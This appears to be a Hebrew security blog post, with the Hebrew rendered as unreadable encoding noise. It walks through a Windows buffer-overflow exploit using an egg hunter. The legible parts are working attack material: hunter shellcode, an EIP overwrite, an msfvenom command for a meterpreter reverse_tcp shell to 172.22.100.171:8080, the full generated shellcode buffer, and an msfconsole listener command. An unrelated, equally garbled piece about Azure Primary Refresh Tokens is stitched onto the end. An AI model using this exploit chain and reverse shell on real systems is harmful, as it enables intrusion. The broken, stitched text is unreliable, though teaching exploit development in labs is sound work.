˶˧ˬˮ ˸˞ ˸˟ˣ˸˩ˢ ˪πASCII ˵ˣˡ˟ˮˣ ˣ˸ˣ˞˟ ˧˪˩ˢ ˢˤ˧˞˟ ˦˯˧ˢ ˞˴ˬˮ ˸˟ˣ˸˩ˢ ˢ˶ˤ˥ Σ˞˴˧ ˧˩ ˦˯˧ˢˢ ˭˧˟ ˸˪˧˥˸ 

ˢ˷˵˟ˢ ˸˟ˣ˸˩˪ ˢ˶ˤ˥ˢ ˞ˣˢ ΥснΦ 

,˸˰˩ ˣˮ˥ˮ˞˷˩ ˫˧˰ˡˣ˧ ˨˧˞ ˦ˣ˪˷˪ ˟πeip ˢ˴˶ˮ ˳ˣ˲˵˪ ˪πshellcode ˣˮ˪˷Φ ˪˟˞ ˢ˲˧˞ ˶ˣˬ˷ˮ ˸˞ sπ

shellcode Κ˫˞ ˵ˣˡ˟ˮ ˸˞ ˡˣ˵ˢ ˪˷ ˸˶˷ˢ ˢ˞˶ˮ ˣˮ˞˷ ˫˧˪˟ˠˣˬ ˢ˵˸˰ˢ˪ ˪˷ млл ˫˧˸˟ Σ˸ˣˬ˩ xʕ ˞˪ 

ˢ˵˧˲˯ˬ ˣˮ˪ ˪πreverse shell ˟πWindows Φ 

˫˧˩˧˶˴ ˣˮ˥ˮ˞ ˷˲˥˪ ˫ˣ˵ˬ ˶˥˞ x˟ ˶ˣˬ˷ˮ ˸˞ sπshellcode ˣˮ˪˷Η 

  

https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
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ˣˣ˧˷˩˰ ˵˪˥˪ ˱˧˩ˢ π sπEgg HunterΗ 

ˢ˲˧˞ ˯˧ˮ˩ˮ ˸˞ sπshellcode ˡ˴˧˩ˣ ˳ˣ˲˵ˮ ˣ˧˪˞Κ 

˶˥˞˪ ˣˮ˥˪˴ˢ˷ ˷ˢ˪ˠ˧ ˢ˦˧˪˷ ˪˰ sπeip ˷˲˥ˮ ˫ˣ˵ˬ ˶ˣˬ˷˪ x˟ ˸˞ sπshellcode Φ˪˩ˣˮ ˷ˬ˸˷ˢ˪ ˶ˣˤ˧˞˟ sπ

data ˪˷ ˢ˷˵˟ˢ ˣˮ˪˷ Σ˫˞ ˵ˣˡ˟ˮ ˸˶˷˟ ˢ˞˶ˮ ˭˧˞˷ x˪ ˸˪˟ˠˬ ˫ˣ˵ˬ ˪˟˞ ˞ˣˢ ˟˷ˣ˧ ˟πheap ˭˩˪ˣ ˸˟ˣ˸˩ˢ 

ˣ˪˷ ˞˪ ˰ˣ˟˵ ύ˫˞ ˢ˯ˮˮ ˳˧˶ˢ˪ ˢˬ˩ ˫˧ˬ˰˲ ˸˞ ˸˶˷ˢ ˵ˣˡ˟˪ˣ ˭˩˧ˢ ˶ˬ˷ˮ ˵˪˥ ˰ˡ˧ˬˢ ˪˷ ˢ˦˵˲ˢ ˢ˞˶ˮ 

˟ˣ˸˩ˢ˷˸ˣ ˸ˣˮ˸˷ˬ ˭˧˟ ˢ˴˶ˢ ˢ˴˶ˢ˪ Σό˨˶˦˴ˮ ˞ˣ˴ˬ˪ ˸˞ ˸˟ˣ˸˩ˢ ˣ˪˷ ˭ˬˤ˟ ˸˴˧˶ ˸˧ˮ˩ˣ˸ˢ Σ˶ˬˣ˪˩ 

˷ˬ˸˷ˢ˪ ˟πEgg hunterΗ 

 

ˡˣ˵ˢ ˪˷ sπHunterΗ 

˷˧ ˢˬ˩ ˫˧˩˶ˡ ˟ˣ˸˩˪ ˸˞ sπhunter Σ˪˧˟˷˟ ˞˪ ˨˟˯˪ ˸˞ ˶ˬ˞ˬˢ ˟˧˥˶ˮ ˪˰ ˨˶ˡ ˸˥˞Φ 

˷ˬ˸˷ˮ ˟πhunter ˞˟ˢΥ 

0:  66 81 ca ff 0f          or     dx, 0xfff  00000005 <nextByte>:  
5:  42                       inc    edx 
6:  52                      push   edx 
7:  6a 43                    push   0x43 
9:  58                       pop    eax 
a:  cd 2e                   int    0x2e 
c:  3c 05                    cmp    al , 0x5 
e:  5a                      pop    edx 
f :  74 ef                   je     0 <_main> 
11: b8 77 30 30 74           mov      <search_egg>:  
16: 89  d7                   mov    edi , edx 
18: af                      scas   eax, DWORD PTR es:[ edi ]  
19: 75  ea                   jne    5 <nextByte>  
1b: af                      scas   eax, DWORD PTR es:[ edi ]  
1c: 75 e7                   jne    5 <nextByte>0000001e <found>:  
1e: ff e7                   jmp    edi  

ϐΥ shellcode.pdf-https://www.hick.org/code/skape/papers/egghuntώ 

 

 

ˤ˞ ˨˧˞ ˪˩˸˟'˯ sπHunter ˡ˟ˣ˰Κ 

ˢ˪˧˥˸ ˶ˠˣ˞ˢ edx ˪˟˵ˬ ˸˞ ˸˟ˣ˸˩ˢ ˢˮˣ˶˥˞ˢ ˪˷ sπpage ˣ˧˪˰ ˰˧˟˴ˬ ˞ˣˢ ˰˧˟˴ˬ Σˢ˪˰ˬˣ ˣ˸ˣ˞ ˟πм 

˪˧˟˷˟ ˰˧˟˴˧˷ ˪πpage ˞˟ˢ Φ˶˥˞˪ ˭˩ˬ sπhunter ˸˷ˬ˷ˬ ˸˞˧˶˵˟ ˸˩˶˰ˬˢ NtDisplayString ˪˧˟˷˟ 

˵ˣˡ˟˪ ˫˞ˢ ˶ˣˤ˧˞ ˭ˣ˶˩˧ˤ ˣ˧˪˰ ˰˧˟˴ˬ ˶ˠˣ˞ˢ edx ˫˧˧˵ ˨˧˪ˢ˸˟ ˣˮ˪˷ x˞ ˞˪ Σ˫˞ ˢ˯ˮˮ ˦ˣ˷˲ ˞ˣ˶˵˪ ˶ˣˤ˧˞ˬ ˞˪ 

˫˧˧˵ ˵˶ˤ˧˸ ˸˞˧ˠ˷ Access Violation ˨˧˪ˢ˸ˢˣ ˣˮ˪˷ ˶ˣ˴˰˧ Σ˪˧˟˷˟ ˰ˮˬ˧ˢ˪ ˨˩ˬ ˵ˣˡ˟ˮ ˸˞ ˨˶˰ˢ 

˸˞˧˶˵ˢ˷ ˸˩˶˰ˬ ˢ˶˧ˤ˥ˬ ˶ˣ˟˰ ˣ˸ˣ˞ ˣˤ˧˞ ˶˭ˣ˶˩˧ˤ Φ 

https://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
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˸˞˧˶˵ ˸˩˶˰ˬˢ ˶˧ˤ˥˸ ˸˞ ˢ˞˴ˣ˸ˢ ˶ˠˣ˞˟ al Σ˫˞ ˶ˣˤ˧˞ˢ ˞˪ ˫˧˧˵ ˶ˤ˥ˣ˧ ˨˶˰ˢ р0x Φ˵ˣˡ˟ˮ ˸˞ ˶ˠˣ˞ˢ ˫˞ˣ 

˭˩˞ ˶ˣˤ˧˞ˢ ˞˪ ˫˧˧˵ ˶ˣ˟˰ˮ ˶ˣˤ˧˞˪ ˞˟ˢ ˪˷ ˭ˣ˶˩˧ˤˢ ˵ˣˡ˟ˮˣ ˣ˸ˣ˞ Φ˫˞ ˶ˣˤ˧˞ˢ ˫˧˧˵ ˪˧˥˸ˮ ˶ˣ˟˰˪ ˪˰ ˫˧˩˶˰ˢ 

ˣ˟˷ ˡ˰ ˞˴ˬˮ˷ ˸˞ sπegg ˣˮ˪˷ ύ˶ˡˠˣˢ˷ ˸ˣ˧ˢ˪ Υw00tw00t όˣˡ˟ˮ ˵˫˞ˢ ˨˶˰ˢ ˪˷ sπegg ˰˧˲ˣˬ ˫˧˧ˬ˰˲ 

ˡ˥˞ ˧˶˥˞ ˧ˮ˷ˢ ˪˧˟˷˟ ˞˪˷ ˸ˣ˰˦˟ ˞˴ˬˮ ˸˞ ˡˣ˵ˢ ˪˷ sπhunter ˣˮ˪˷ ˳ˣ˲˵ˮˣ ˣ˧˪˞Φ 

˶˥˞˪ ˣˮ˞˴ˬ˷ ˸˞ sπegg ˳ˣ˲˵ˮ ˸˟ˣ˸˩˪ ˶˷˧ ˢ˧˶˥˞ ˳˧˶ˮˣ ˸˞ sπshellcode ˣˮ˪˷ Φ˫˞ ˞˪ ˣˮ˞˴ˬ ˨ˣ˸˟ ˶ˣˤ˧˞ 

˭ˣ˶˩˧ˤˢ ˸˞ sπegg ˣˮ˪˷ ˶ˣ˟˰ˮ ˵ˣˡ˟˪ ˸˞ ˶ˣˤ˧˞ ˭ˣ˶˩˧ˤˢ ˞˟ˢΦ 

˪˲ˬ˵ˮ ˸˞ sπhunter ύ˧ˮ˞ ˧˸˷ˬ˸˷ˢ ˧˪˩˟ ˞˟ˢ ό˯˧ˮ˩ˮˣ ˣ˸ˣ˞ ˸˧ˮ˩ˣ˸˪ ˭ˣ˸˧˧˲ ˣˮ˪˷Υ 

hunter = 

" \ x66\ x81\ xCA\ xFF\ x0F\ x42\ x52\ x68\ x43\ x01\ x00\ x00\ x58\ xCD\ x2E\ x3C\ x05\ x5A\ x74\ xEC\ xB8\ x
77\ x30\ x30\ x74\ x89\ xD7\ xAF\ x75\ xE7\ xAF\ x75\ xE4\ xFF\ xE7"  
header = hunter + b"A" * ( 62- len (hunter))  

ˢˬ ˶˞˷ˮ˷ ˣˮ˪ ˸ˣ˷˰˪ ˣ˧˷˩˰ ˢˤ ˳ˣ˲˵˪ ˪˞ sπhunter ˣˮ˪˷ ˸˸˪ˣ x˪ ˷˲˥˪ ˸˞ ˶˞˷ sπshellcode Φ˫˞ 

˵ˣˡ˟ˮ ˸˞ ˸˯˧˶˵ ˸˧ˮ˩ˣ˸ˢ ˟πwindbg ˢ˞˶ˮ ˧˩ esp ˰˧˟˴ˬ ˞˪ ˵ˣ˥˶ ˢˬπhunter ˣˮ˪˷: 

 

 

 

 

 

˪˰ ˸ˮˬ ˶ˠ˸˞ˢ˷ ˢˤˢ ˞˪ ˨ˣ˲ˢ˧ ˨˟ˣ˯ˬ˪ ˧ˡˬ ˪˥ˢˣˮ˦ ˱˧˯ˣˢ˪ ˨ˣ˸˪ ˡˣ˵ˢ ˪˷ ˸˶˷ˢ ˧˸˷ ˸ˣ˶ˣ˷ assembly 

ˣ˶ˤ˰˧˷ ˣˮ˪ ˳ˣ˲˵˪ ˪˞ sπhunter ύ ˦˰ˬ ˢˤ ,˭˩˫˩˥˸ˬ ˷ ˧ˮ˲ˬ ˣˮ˪ ˣ˥˪˯˸ ˨˞ˢˤ ˞˪ ˞˷ˣˮˢ ˧˶˵˧˰ˢ ˶ˬ˞ˬ˟Υό 

sub esp, 0x42 
jmp esp 

˷ˬ˸˷ˮ ˧˪˩˟ rp++ ˪˧˟˷˟ ˲˥˪ ˷˸˞ ˸˟ˣ˸˩ˢ ˪˷ ˫˸ˣ˞ ˸ˣ˶ˣ˷ assemblyΥ 

. \ r p- win - x86.exe - r 2 - f . \ server.exe > dw.txt  

 ˣˮ˞˴ˬ˸˞ ˸˟ˣ˸˩ˢ ˟πллплмпсо0x˸˰˩ . ˢˮ˷ˮ ˸˞ ˸˧ˮ˩ˣ˸ˢ ˣˮ˪˷ ˨˩ ˸˟ˣ˸˩ˢ˷ ˢ˶ˤ˥ ˰˧˟˴˸ ˸ˣ˶ˣ˷˪ s-

assemblyΥ 

hunter = 
b" \ x66\ x81\ xCA\ xFF\ x0F\ x42\ x52\ x68\ x43\ x01\ x00\ x00\ x58\ xCD\ x2E\ x3C\ x05\ x5A\ x74\ xEC\ xB8\
x77\ x30\ x30\ x74\ x89\ xD7\ xAF\ x75\ xE7\ xAF\ x75\ xE4\ xFF\ xE7"  
eip = struct. pack ( "<I" , 0x401463)  
header =  hunter + b" \ xcc " * ( 62- len (hunter)) + eip  
data = b"w00tw00t" + b" \ xcc " * 70 

 

  

https://defuse.ca/online-x86-assembler.htm
https://github.com/0vercl0k/rp
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ˢ˯ˮˮ ˳˧˶ˢ˪ ˸˞ ˸˧ˮ˩ˣ˸ˢ ˣˮ˪˷ Σ˞˪ ˧ˮ˲˪ ˫˧˷ˮ˷ breakpoint ˪˰ ˟ˣ˸˩ˢ ˸плмпсо0x ύ˸ˣ˶ˣ˷ s-assembly 

˸ˣ˴˲ˣ˵˷ ˪πhunterόΥ 

 

ˢ˞˶ˮˣ ˧˩ ˭˩˞ ˣˮ˶˴˰ Φ˨˧˷ˬˮ ˸˞ ˸˴˧˶ ˸˧ˮ˩ˣ˸ˢ ˢ˞˶ˮˣ ˧˩ sπhunter ˞˪ ˞˴ˣˬ ˸˞ sπegg ˣˮ˪˷Η 

 

ˢˬ˪ ˞˪ ˣˮ˞˴ˬ ˸˞ sπEggΚ 

˪˩˟ ˢˬ˩ ˧ˮˣ˩ˡ˰ ˢˮ˩ˣ˸ ˦˲ˣ˯ˣ˶˵˧ˬ ˫˧ˠˢˣˮ ˸ˣˮ˷˪ ˸˞ ˧˶˲˯ˬ ˸ˣ˞˧˶˵ ˸˩˶˰ˬˢ ˸˩˶˰ˬ˟ Windows Σ˭˩˪ˣ 

˧ˣ˩˧˯ ˟ˣ˦ ˷˸ˣ˞˧˶˵ ˸˩˶˰ˬˢ ˣˮ˷ˬ˸˷ˢ˷ ˢ˟ ˭ˡ˰ ˣ˧˷˩˰ ˪˪˩˟ ˸ˣ˰˧˟˴ˬ ˸ˣ˧˴˵ˮˣ˲˪ ˸ˣ˶˥˞ ˣˮ˟˷˥˷ˬ Σ

˪˧˟˷˟ ˶ˣ˸˲˪ ˸˞ ˢ˧˰˟ xʕ ˷˲˥ˮ ˢˬ ˶˲˯ˬ ˢ˞˧˶˵ˢ ˧ˮ˩ˡ˰ˢ ˪˷ NtDisplayString Φ˶ˤ˰˧ˮ ˟πWinDBG  ˪˰

˸ˮˬ ˞ˣ˴ˬ˪ ˸˞ ˶˲˯ˬ ˸˞˧˶˵ ˸˩˶˰ˬˢ Υ 

 

ˢˮ˷ˮ ˸˞ ˶˲˯ˬ ˸˞˧˶˵ ˸˩˶˰ˬˢ ˨ˣ˸˟ sπhunter ˣˮ˪˷ ˪πмпо0x ˳˧˶ˮˣ ˷ˡ˥ˬΥ 

 

πshunter ˞˴ˬ ˸˞ sπegg ˳˲˵ˣ ˢ˧˪˞ Η˪˩ ˢˬ ˶˞˷ˮ˷ ˢˤ ˯˧ˮ˩ˢ˪ ˸˞ sπshellcode ˣˮˬ˧˧˯ˣΗ 

 

˸˶˧˴˧ sπshellcode ˸˶ˤ˰˟msfvenom  

˸ˮˬ ˪˰ ˶ˣ˴˧˪ ˸˞ sπshellcode ˣˮ˪˷ ˷ˬ˸˷ˮ ˧˪˩˟ msfvenom Φˣ˸˶˦ˬ ˪˷ msfvenom ˞˧ˢ ˶ˣ˴˧˪ 

shellcodeπ˫˧ ˫˧ˮˣˣˠˬ ˪˰ˬ ˶˲˯ˬ ˫˧˪ˣ˵ˣ˦ˣ˶˲ Φ˸˶˧˴˧˪ reverse shell ˫˧˞˸ˬˢ ˣˮ˪ ˳˧˶ˮ ˸˞ ˢˡˣ˵˲ˢ ˢ˞˟ˢΥ 

msfvenom - p windows/meterpreter/reverse_tcp LHOST=172.22.100.171 LPORT=8080 - f py 
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˪˟˵ˮˣΥ 

Payload size: 354 bytes  
Final size of py file: 1757 bytes  
buf =  b ""  
buf += b " \ xfc \ xe8\ x8f \ x00\ x00\ x00\ x60\ x31\ xd2\ x89\ xe5\ x64"  
buf += b " \ x8b\ x52\ x30\ x8b\ x52\ x0c\ x8b\ x52\ x14\ x8b\ x72\ x28"  
buf += b " \ x31\ xff \ x0f \ xb7\ x4a\ x26\ x31\ xc0\ xac \ x3c \ x61\ x7c"  
buf += b " \ x02\ x2c \ x20\ xc1 \ xcf \ x0d\ x01\ xc7\ x49\ x75\ xef \ x52"  
buf += b " \ x57\ x8b\ x52\ x10\ x8b\ x42\ x3c \ x01\ xd0\ x8b\ x40\ x78"  
buf += b " \ x85\ xc0 \ x74\ x4c \ x01\ xd0\ x8b\ x48\ x18\ x50\ x8b\ x58"  
buf += b " \ x20\ x01\ xd3\ x85\ xc9 \ x74\ x3c \ x31\ xff \ x49\ x8b\ x34"  
buf += b " \ x8b\ x01\ xd6\ x31\ xc0 \ xac\ xc1 \ xcf \ x0d\ x01\ xc7\ x38"  
buf += b " \ xe0\ x75\ xf4 \ x03\ x7d\ xf8 \ x3b\ x7d\ x24\ x75\ xe0\ x58"  
buf += b " \ x8b\ x58\ x24\ x01\ xd3\ x66\ x8b\ x0c\ x4b\ x8b\ x58\ x1c"  
buf += b " \ x01\ xd3\ x8b\ x04\ x8b\ x01\ xd0\ x89\ x44\ x24\ x24\ x5b"  
buf += b " \ x5b\ x61\ x59\ x5a\ x51\ xff \ xe0\ x58\ x5f \ x5a\ x8b\ x12"  
buf += b " \ xe9\ x80\ xff \ xff \ xff \ x5d\ x68\ x33\ x32\ x00\ x00\ x68"  
buf += b " \ x77\ x73\ x32\ x5f \ x54\ x68\ x4c \ x77\ x26\ x07\ x89\ xe8"  

buf += b " \ xff \ xd0\ xb8\ x90\ x01\ x00\ x00\ x29\ xc4 \ x54\ x50\ x68"  
buf += b " \ x29\ x80\ x6b\ x00\ xff \ xd5\ x6a\ x0a\ x68\ xac \ x16\ x64"  
buf += b " \ xab\ x68\ x02\ x00\ x1f \ x90\ x89\ xe6\ x50\ x50\ x50\ x50"  
buf += b " \ x40\ x50\ x40\ x50\ x68\ xea\ x0f \ xdf \ xe0\ xff \ xd5\ x97"  
buf += b " \ x6a\ x10\ x56\ x57\ x68\ x99\ xa5\ x74\ x61\ xff \ xd5\ x85"  
buf += b " \ xc0\ x74\ x0a\ xff \ x4e\ x08\ x75\ xec\ xe8\ x67\ x00\ x00"  
buf += b " \ x00\ x6a\ x00\ x6a\ x04\ x56\ x57\ x68\ x02\ xd9\ xc8\ x5f"  
buf += b " \ xff \ xd5\ x83\ xf8 \ x00\ x7e\ x36\ x8b\ x36\ x6a\ x40\ x68"  
buf += b " \ x00\ x10\ x00\ x00\ x56\ x6a\ x00\ x68\ x58\ xa4\ x53\ xe5"  
buf += b " \ xff \ xd5\ x93\ x53\ x6a\ x00\ x56\ x53\ x57\ x68\ x02\ xd9"  
buf += b " \ xc8\ x5f \ xff \ xd5\ x83\ xf8 \ x00\ x7d\ x28\ x58\ x68\ x00"  
buf += b " \ x40\ x00\ x00\ x6a\ x00\ x50\ x68\ x0b\ x2f \ x0f \ x30\ xff"  
buf += b " \ xd5\ x57\ x68\ x75\ x6e\ x4d\ x61\ xff \ xd5\ x5e\ x5e\ xff"  
buf += b " \ x0c\ x24\ x0f \ x85\ x70\ xff \ xff \ xff \ xe9\ x9b\ xff \ xff"  
buf += b " \ xff \ x01\ xc3\ x29\ xc6 \ x75\ xc1 \ xc3\ xbb\ xf0 \ xb5\ xa2"  
buf += b " \ x56\ x6a\ x00\ x53\ xff \ xd5"  

˵˧˟ˡˮ ˸˞ sπshellcode ˨ˣ˸˟ ˢ˷˵˟ˢ ˣˮ˪˷ ˡ˧ˬ ˶˥˞˪ sπeggΥ 

data = b"w00tw00t" + buf  

˪˧˰˲ˮ ˸˞ sπlistener ˪˷ msfconsoleΥ 

sudo msfconsole - q - x "use exploit/multi/handler; set PAYLOAD 
windows/meterpreter/reverse_tcp; set LHOST 172.22.100.171; set LPORT 8080; exploit"  
 

 

˱ˣ˯˟˪ ˳˧˶ˮ ˸˞ ˸˧ˮ˩ˣ˸ˢ ˣˮ˪˷Υ 

 

ˣˮ˪˟˧˵ˣ shellΗ J 
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˫ˣ˩˧˯ 

˶ˬ˞ˬ˟ ˢˤ ˣˮ˶˵˯ ˸˞ ˢ˦˧˷ˢ ˪˷ Egg Hunting Σ˞˶ˣ˷ˬ˸˷ˢ˪ ˭˸˧ˮ ˡ˴˧˩ ˣˮ˧ ˢ˟ ˸ˮˬ ˪˰ ˡˡˣˬ˸ˢ˪ ˫˰ 

˸ˣ˪˟ˠˬ ˫ˣ˵ˬ ˸˰˟ ˭ˣ˧˯˧ˮ ˸˴˶ˢ ˡˣ˵ ˪˰  ˸˶˷˶ˬˣ˵˥ Φˣˮ˪˥˸ˢ ˸˷˧˪ˠˬ ˳˴ˣ˥ ˢ˦ˣ˷˲ Σˣˮ˞˴ˬ ˸˞ ˦˯˧ˢˢ 

ˣ˟˷ ˸˟˷ˣ˧ ˸˟ˣ˸˩ ˢ˶ˤ˥ˢ ˪˷ ˢ˧˴˵ˮˣ˲ˢ parseHeader Σˣˮ˷˲˧˥ ˫ˣ˵ˬ ˶ˣˬ˷˪ x˟ ˸˞ sπshellcode ˣˮ˪˷ Σ

ˣˮ˴˲˵ ˪-Hunter ˣˮ˪˷ ˷˲˧˥˷ ˣˮ˪˧˟˷˟ ˸˞ sˢ˴˧˟ ˭ˣ˶˩˧ˤ˟ ˸˧ˮ˩ˣ˸ˢΦ  ˱ˣ˯˟˪ˣˮ˶˴˧ Shellcode ˷ˬˬˬ˷ 

Reverse Shell ˸˶ˤ˰˟ ˧˪˩ˢ msfvenom Σˣˮ˥˪˴ˢˣ ˠ˧˷ˢ˪ shell ˸˶˷˪Η 

 

˪˰ ˫˧˶˟˥ˬˢ 

¶ ˭˟ ˯ˣ˪˧˲ Σ˭˟ 19 Σ˦ˮˡˣ˦˯ ˶˞ˣ˸˪ ˭ˣ˷˞˶ ˧˰ˡˬ˟ ˟˷˥ˬˢ ˸˧ˬˡ˵˞˟ ˢ˧ˮ˸ˮ Σ˟˟ˣ˥ ˸˥˦˟˞ ˰ˡ˧ˬ 

ˢ˧ˠˣ˪ˣˮ˩˦ˣ ΦLinkedInΦ 

¶ ˪˞ˮ˸ˮ ˫˷ ˟ˣ˦ Σ˭˟ мф Σ˷˪ˬϦ˟ ˸˞˶˵˪ ˸ˣ˶˧˷ ˢˡ˧˥˧˟ ˸˧ˠˣ˪ˣˮ˩˦ ˢ˴˟Ϧ˪ Σ˟˟ˣ˥ ˫˧˟˷˥ˬ ˢ˧ˠˣ˪ˣˮ˩˦ˣ 

˭˲ˣ˞˟ ˧˪˪˩ ΦLinkedinΦ 

 

ˢ˧˲˶ˠˣ˧˪˟˧˟ 

˫˧˶ˬ˞ˬ  ˪˰Egg Hunting: 

¶ Safely Searching Process Virtual Address Space 

¶ https://medium.com/@orhan_yildirim/egg-hunter-how-it-works-fd0eed671b80 

¶ https://shellcode.blog/Windows-Exploitation-Egg-hunting/ 

¶ https://fuzzysecurity.com/tutorials/expDev/4.html 

¶ https://www.exploit-db.com/docs/english/18482-egg-hunter---a-twist-in-buffer-overflow.pdf  

˭ˣ˞ ˧˪˟ˬ˯˞ ˪ˣ˲ˬ˧˵˪ ˧˪˩-:˭˧˧˪ 

¶ https://defuse.ca/online-x86-assembler.htm 

˶˟˯ˢ ˟ ˷ˣˬ˧˷ˢ ˭˲ˣ˞ ˪˰-msfvenomΥ 

¶ https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html  

˧˪˩ ˸˶˧˴˧˪ ˸ˤˣ˶˥ˬ ˞˪˪ ˸ˣ˧˸˶ˤ˥  :˦˯˧ˢˢ ˸˞˧˴ˬ ˸˟ˣ˦˪ 

¶ https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html 

˧˪˩  ˸˞˧˴ˬ˪gadgetπ˫˧: 

¶ https://github.com/0vercl0k/rp 

  

https://www.linkedin.com/in/ben-f-5a900a1a4?lipi=urn%3Ali%3Apage%3Ad_flagship3_profile_view_base_contact_details%3B5KmLKQ60TsmOHTxnHMxD9A%3D%3D
https://www.linkedin.com/in/netanel-shem-tov-19227819b
https://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
https://medium.com/@orhan_yildirim/egg-hunter-how-it-works-fd0eed671b80
https://shellcode.blog/Windows-Exploitation-Egg-hunting/
https://fuzzysecurity.com/tutorials/expDev/4.html
https://www.exploit-db.com/docs/english/18482-egg-hunter---a-twist-in-buffer-overflow.pdf
https://defuse.ca/online-x86-assembler.htm
https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html
https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
https://github.com/0vercl0k/rp
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Primary Refresh Token ˸˶˸ˣ˧ˬ ˸˲˯ˣˮ ˢ˪˧ˬ ˪˩ˣ 

˸˞ˬ ˲˯˶˧ ˧˵˯˟ˣ˶ˡ˲ 

 

ˢˬˡ˵ˢ 

Primary Refresh Token x˞ ˶ˣ˴˧˵˟ ΥPRT Σ˞ˣˢ ˨˯ ˪˩ˢ ˡˣ˰ ˠˣ˯ ˪˷ Token ˣ˸˶˦ˬ˷ ˫ˣ˸˥˪ ˟ˣ˪˧˷ ˪˷ 

˷ˬ˸˷ˬ xπDevice Φˣ˸ˣ˰˴ˬ˞˟ ˫˧˷˵˟ˬ Access Token xπRefresh Token ˶˷˞˩ ˫˸˧˞ ˫˧˷ˠ˧ˮ ˫˧˟˞˷ˬ˪ ˟π

Tenant Φ˰ˬ˷ˮ ˦ˣ˷˲ Σ˞˪Κ  

˷ˬˬ ˧˸˦˟˪˸ˢ ˫˞ ˟ˣ˸˩˪ ˣˢ˷ˬ ˪˰ PRT x˞ TAP (Temporary Access Pass) ˱ˣ˯˟ˣ ˧˸˦˪˥ˢ ˧˶ˬˠ˪˷ 

˪˰ ˟ˣ˸˩˞ ˫ˢ˧ˮ˷ )˫˞ˣ ˶˟˩ ˫ˢ˧ˮ˷ ˤ˞ ˭˧˞ ˧ˣ˩˧˯ ˧ˮ˞˷ ˢ˪˧˥˸ˬ ˬπTAP ˧˩ ˪πPRT ˰˧ˠˬ ˸˞ ˡˣ˟˩ˢ ˧ˣ˞˶ˢ x˪ όΦΦΦ

ˤ˞ ˸˞ˤ˟ ˧ˮ˞ ˸˟˧˧˥˸ˬ ˶ˬ˞ˬˢ˷ ˞˟ˢ ˢ˧ˢ˧ ˪˰ TAPύ Η˸ˣ˰˟˴˞ ˸ˣ˟ˣ˪˷ ˧˶ˣ˥˞ˬ ˟ˠˢ ˤ˞ ˪˞ ˣ˯˲˸˸ ˧˸ˣ˞ 

ˢ˪˧ˬ˟...Φό ˫˞ ˫˸˞ ˫˧ˢˣ˸ ˢˬ ˨˩ ˪˩ ˡ˥ˣ˧ˬ ˟πPRT ˧˸˧˷˰˷ x˪ ˢˤ˩ ˲˧˧ˢ Σˣ˶˞˷˧ˢ ˞ˣ˶˵˪ ˸˞ ˶ˬ˞ˬˢΗ 

ˢˡˣ˵ˮ ˟ˣ˷˥˷ ˧˪ ˷˧ˠˡˢ˪ ˶˟˩ ˸˪˧˥˸˟ ˶ˬ˞ˬˢ: ˶ˬ˞ˬˢ ˢˤˢ ˷˶ˣˡ ˦˰ˬ ˰ˡ˧ ˟πAzure Σ˪˟˞ ˧ˮ˞ ˢ˯ˮ˞ 

˟ˣ˸˩˪ ˣ˸ˣ˞ ˫˧˪˧˥˸ˬ˪ Σˤ˞ ˣ˪˧˥˸˸ Σ˫ˣˬ˧˯˵ˬ ˞˪ ˣˡ˶˷˸ ˡ˰ ˱ˣ˯ˢΦ 

ˢ˲˧˞ˬ ˪˧˥˸ˮ ΚTokenπ˫˧ Φ˶˟˩ ˣˮ˧˧ˢ ˫˷ ύˣ˞˶ ˨˶˰ ˶ˬ˞ˬˢ ˫ˡˣ˵ˢ ˧˪˷(Φ ˣˮ˶˟˧ˡ ˪˰ Access Token Σ˫ˠˣ ˪˰ 

Refresh Token Σˤ˞ ˢˬ ˣ˧˷˩˰ ˶ˣ˷˵ PRT Κˡ˧ˬ ˭˧˟ˮΦ  

˪ˣˡˠ˟Υ ˢ˶˦ˬˢ ˸˧˶˵˧˰ˢ ˪˷ ˪˩ ˫˧˦˲˯ˮˣ˵ˢ ˣ˪˞ˢ ˣˮ˥ˮ˞˷ ˫˧ˤ˟ˤ˟ˬ ˸ˣ˰˷ ˞˧˶˵˟ ˸˫˧˶ˬ˞ˬ ˫ˢ˧˪˰ ˫˧ˮ˷˟ 

˸ˣˮˣ˶˥˞ˢ ˞˧ˢπ ˸ˣ˥ˣˮ Φ˭˩ ˭˩ Σˢˤ ˵˶ ˧ˡ˩ ˢ˧ˢ˧˷ ˥ˣˮ Φˣˮ˪ˣ˩ ˩˧ˣˣˮ˪ ˶˞˷ˢ˪ ˫˰ ˫˷ ˷ˬ˸˷ˬ ˬ˯˧˯ sύ˫˞ˣ 

˸ˬ˞˟ ˸˲˩˞ ˣˮ˪ ˢ˥˦˟˞ˬ ˤ˞ ˫ˠ MFA ό˸ˣ˧˥˪ˣ ˸˞ ˫˧˧˥ˢ ˣˮ˪˷ ˢ˟˟˯˟Φ 

˪˟˞ ˯˪˩˸ Σˢˤ ˸ˬ˞˟ ˸˴˵ ˭˟˴˰ˬ Σ˫˞ ˷˧ ˧˪ ˷ˬ˸˷ˬ ˟πActive Directory ˶˟˩ˣ ˧˸˰˵˷ˢ ˢˬ˯˧˯˟ x˦ˢ˟ Σ

ˢˬ˪ ˧ˮ˞ ˢ˩˧˶˴ ˣ˧˷˩˰ ˡ˧˪˵ˢ˪ ˢ˸ˣ˞ ˷ˡ˥ˬ ˢ˷˧ˠ˟ ˫˧˟˞˷ˬ˪ ˟πAzure Κ˫˞ˣ ˧ˮ˞ ˢ˩˧˶˴ ˭˩ˡ˰˪ ˢ˸ˣ˞ ˪˩ X 

˭ˬˤ ˣ˧˷˩˰ ˣ˧ˢ˧ ˧˪ н ˸ˣ˞ˬ˯˧˯ ˪˧˟˵ˬ˟ Κˢˤ ˞˪ ˥ˣˮ Η˧ˮ˞ˣ ˸˶ˬˣ˞ π ˸˞ ˧˩ˢ ˢ˲˧ ˥ˣˮ˷˩ ˨˪Φ  

